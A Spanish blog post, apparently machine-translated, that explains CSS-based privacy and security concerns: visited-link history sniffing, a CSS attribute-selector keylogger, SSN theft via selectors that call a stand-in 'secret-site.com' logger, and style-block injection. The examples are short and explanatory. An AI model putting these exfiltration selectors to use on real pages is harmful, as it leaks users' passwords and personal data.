No lea ese titular y se preocupe. No creo que CSS sea un problema de seguridad particularmente peligroso y, en su mayor parte, no creo que debas preocuparte por eso.
Pero de vez en cuando, los artículos tienden a circular y llaman la atención sobre las posibilidades de lo que CSS puede hacer que pueda sorprenderlo o preocuparlo.
Aquí hay un pequeño resumen.
La preocupación del enlace visitado
Este va así:
- Pones un enlace a una página en particular en tu sitio, digamos
<a href="https://i-tickle-pigs.com">Tickle Pigs</a> - Aplica un estilo al estado visitado de ese enlace como
a:visited { color: pink; }que no es un estilo de agente de usuario predeterminado. - Prueba el estilo calculado de ese enlace.
- Si es rosa, este usuario es un cosquilleo de cerdos.
- Usted informa la información de las cosquillas de los cerdos a algún servidor en algún lugar y presumiblemente triplica las tasas de seguro de propiedad de los cerdos, ya que seguramente los cerdos sufrirán una angustia emocional extrema por todas las cosquillas.
Incluso podría hacerlo completamente en CSS, porque eso :visited el estilo podría tener como background-image: url(/data-logger/tickle.php); que solo lo solicitan los cerdos ticklers.
¿Preocupado? No lo esté, todos los navegadores han impedido que esto sea posible.
El Keylogger
Este va así:
- Hay una entrada en la página. Quizás una entrada de contraseña. ¡Aterrador!
- Pones un script de registrador como valor para la imagen de fondo de la entrada, pero también mil millones de selectores más como ese, de modo que el registrador recopilará e informará parte o la totalidad de la contraseña.
input[value^="a"] { background: url(logger.php?v=a); }Éste no es tan fácil. El value El atributo de una entrada no cambia solo porque escribe en él. Sin embargo, a veces lo hace en marcos como React, por lo que si colocara este CSS en una página de inicio de sesión con tecnología React y codificado de esa manera, entonces, teóricamente, este registrador de teclas con CSS podría funcionar.
Pero … en ese caso, JavaScript se está ejecutando en esa página de todos modos. JavaScript es 1000 veces más preocupante que CSS para cosas como esta. Un registrador de teclas en JavaScript es solo un par de líneas de código que vigilan los eventos de pulsación de teclas y los informa a través de Ajax.
El JavaScript en línea de terceros y XSS ahora se puede detener con la Política de seguridad de contenido (CSP) … pero también lo es CSS.
El ladrón de datos
Este va así:
- Si puedo poner algo de mi CSS nefasto en una página en la que se ha autenticado en un sitio …
- Y ese sitio muestra información confidencial como un número de seguro social (SSN) en un formulario precargado …
- Puedo usar selectores de atributos para averiguarlo.
input#ssn[value="123-45-6789"] { background: url(https://secret-site.com/logger.php?ssn=123-45-6789); }¡Mil millones de selectores y has cubierto todas las posibilidades!
El bloque de estilo en línea whoopsie
No sé si culparía a CSS por esto necesariamente, pero imagina:
<style>
... Drop in some user-generated stuff ...
</style>Quizás le esté permitiendo al usuario alguna personalización de CSS allí. Ese es un vector de ataque, ya que podrían cerrar esa etiqueta de estilo, abrir una etiqueta de script y escribir JavaScript nefasto.
Estoy seguro que hay un montón más
¿Los tienes? Compártelos.
Píntame un poco escéptico de lo aterrorizado que debería estar por las vulnerabilidades de seguridad de CSS. No quiero restar importancia a las cosas de seguridad (especialmente las preocupaciones de terceros) porque no soy un experto y la seguridad es de suma importancia, pero al mismo tiempo, nunca escuché que CSS sea el vector de ataque. para cualquier cosa fuera de un ejercicio de pensamiento. ¡Edúcame!